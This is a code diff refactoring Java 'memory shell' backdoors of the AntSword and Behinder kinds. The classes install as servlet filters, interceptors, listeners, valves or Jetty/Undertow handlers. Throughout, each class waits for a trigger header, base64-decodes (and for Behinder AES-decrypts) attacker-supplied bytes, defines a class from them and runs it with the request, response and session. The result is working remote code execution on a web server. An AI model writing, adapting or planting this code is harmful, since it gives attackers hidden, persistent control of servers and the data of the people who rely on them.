byte[] bytes = base64Decode(request.getParameter(pass)); byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
return; return;
} }
@@ -40,25 +40,15 @@ public class AntSwordFilter extends ClassLoader implements Filter {
filterChain.doFilter(servletRequest, servletResponse); filterChain.doFilter(servletRequest, servletResponse);
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@Override @Override
@@ -27,7 +27,7 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try { try {
byte[] bytes = base64Decode(request.getParameter(pass)); byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -39,8 +39,14 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Class<?> g(byte[] b) { public static byte[] base64Decode(String bs) throws Exception {
return super.defineClass(b, 0, b.length); try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
} }
@Override @Override
@@ -53,22 +59,6 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
} }
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
}
@Override @Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
@@ -43,7 +43,7 @@ public class AntSwordJettyHandler extends ClassLoader {
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] bytes = base64Decode(parameter); byte[] bytes = base64Decode(parameter);
Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
if (baseRequest != null) { if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -56,24 +56,14 @@ public class AntSwordJettyHandler extends ClassLoader {
return false; return false;
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -30,7 +30,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
&& request.getHeader(headerName).contains(headerValue)) { && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass)); byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -42,28 +42,18 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
return null; return null;
} }
@SuppressWarnings("deprecation") @SuppressWarnings("all")
public Class<?> g(byte[] cb) { public static byte[] base64Decode(String bs) throws Exception {
return super.defineClass(cb, 0, cb.length); try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
} }
@Override @Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) { public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
} }
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
}
} }
@@ -30,7 +30,7 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass)); byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -38,6 +38,17 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
} }
} }
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
@Override @Override
public String getServletInfo() { public String getServletInfo() {
return ""; return "";
@@ -45,29 +56,6 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
@Override @Override
public void destroy() { public void destroy() {
}
@SuppressWarnings("all")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
} }
@Override @Override
@@ -32,7 +32,7 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] bytes = base64Decode(parameter); byte[] bytes = base64Decode(parameter);
Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
return true; return true;
} }
@@ -42,24 +42,14 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
return false; return false;
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -32,7 +32,7 @@ public class AntSwordValve extends ClassLoader implements Valve {
if (request.getHeader(headerName) != null if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) { && request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass)); byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
return; return;
} }
@@ -44,23 +44,13 @@ public class AntSwordValve extends ClassLoader implements Valve {
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
} }
@Override @Override
@@ -27,8 +27,8 @@ public class Behinder extends ClassLoader {
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]); Object request = unwrap(args[0], "request");
Object response = unwrapResponse(args[1]); Object response = unwrap(args[1], "response");
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
@@ -40,8 +40,8 @@ public class Behinder extends ClassLoader {
map.put("response", response); map.put("response", response);
map.put("session", session); map.put("session", session);
String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine(); String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine();
byte[] bytes = x(base64Decode(parameter), false); byte[] bytes = x(base64Decode(parameter));
Object instance = (new Behinder(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new Behinder(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(map); instance.equals(map);
return true; return true;
} }
@@ -52,91 +52,50 @@ public class Behinder extends ClassLoader {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Class<?> g(byte[] b) { public byte[] x(byte[] s) throws Exception {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all")
public byte[] x(byte[] s, boolean m) throws Exception {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher"); Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher");
Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec"); Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec");
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class); Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
Method initMethod = cipherClass.getMethod("init", int.class, Key.class); Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES"); Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(pass.getBytes(), "AES")); initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
return ((byte[]) doFinalMethod.invoke(c, s)); return ((byte[]) doFinalMethod.invoke(c, s));
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapRequest(Object request) { public Object unwrap(Object obj, String fieldName) {
Object internalRequest = request; try {
while (true) { return getFieldValue(obj, fieldName);
try { } catch (Throwable e) {
Object r = getFieldValue(request, "request"); return obj;
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
@SuppressWarnings("all")
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
try { try {
base64 = contextClassLoader.loadClass("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -34,13 +34,13 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
HttpSession session = request.getSession(); HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3); Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request); obj.put("request", request);
obj.put("response", unwrapResponse(response)); obj.put("response", unwrap(response));
obj.put("session", session); obj.put("session", session);
session.setAttribute("u", pass); session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj); instance.equals(obj);
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -50,60 +50,37 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Class<?> g(byte[] b) { public Object unwrap(Object obj) {
return super.defineClass(b, 0, b.length); try {
} return getFieldValue(obj, "response");
} catch (Throwable e) {
@SuppressWarnings("all") return obj;
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -39,13 +39,13 @@ public class BehinderFilter extends ClassLoader implements Filter {
HttpSession session = ((HttpServletRequest) servletRequest).getSession(); HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3); Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", servletRequest); obj.put("request", servletRequest);
obj.put("response", unwrapResponse(response)); obj.put("response", unwrap(response));
obj.put("session", session); obj.put("session", session);
session.setAttribute("u", this.pass); session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine())); byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
Object instance = (new BehinderFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderFilter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj); instance.equals(obj);
return; return;
} }
@@ -56,61 +56,38 @@ public class BehinderFilter extends ClassLoader implements Filter {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Class<?> g(byte[] b) { public Object unwrap(Object obj) {
return super.defineClass(b, 0, b.length); try {
} return getFieldValue(obj, "response");
} catch (Throwable e) {
@SuppressWarnings("all") return obj;
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@Override @Override
@@ -35,13 +35,13 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
HttpSession session = request.getSession(); HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3); Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request); obj.put("request", request);
obj.put("response", unwrapResponse(response)); obj.put("response", unwrap(response));
obj.put("session", session); obj.put("session", session);
session.setAttribute("u", pass); session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = new BehinderInterceptor(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj); instance.equals(obj);
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -53,44 +53,37 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapResponse(Object response) { public Object unwrap(Object obj) {
Object internalResponse = response; try {
while (true) { return getFieldValue(obj, "response");
try { } catch (Throwable e) {
Object r = getFieldValue(response, "response"); return obj;
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name); }
} else {
field.setAccessible(true); @SuppressWarnings("all")
return field.get(obj); public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
} }
@@ -104,22 +97,6 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
} }
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
}
@Override @Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
@@ -53,14 +53,14 @@ public class BehinderJettyHandler extends ClassLoader {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
Map<String, Object> map = new HashMap<String, Object>(3); Map<String, Object> map = new HashMap<String, Object>(3);
map.put("request", request); map.put("request", request);
map.put("response", unwrapResponse(response)); map.put("response", unwrap(response));
map.put("session", session); map.put("session", session);
Cipher c = Cipher.getInstance("AES"); Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine(); String parameter = reader.readLine();
byte[] bytes = c.doFinal(base64Decode(parameter)); byte[] bytes = c.doFinal(base64Decode(parameter));
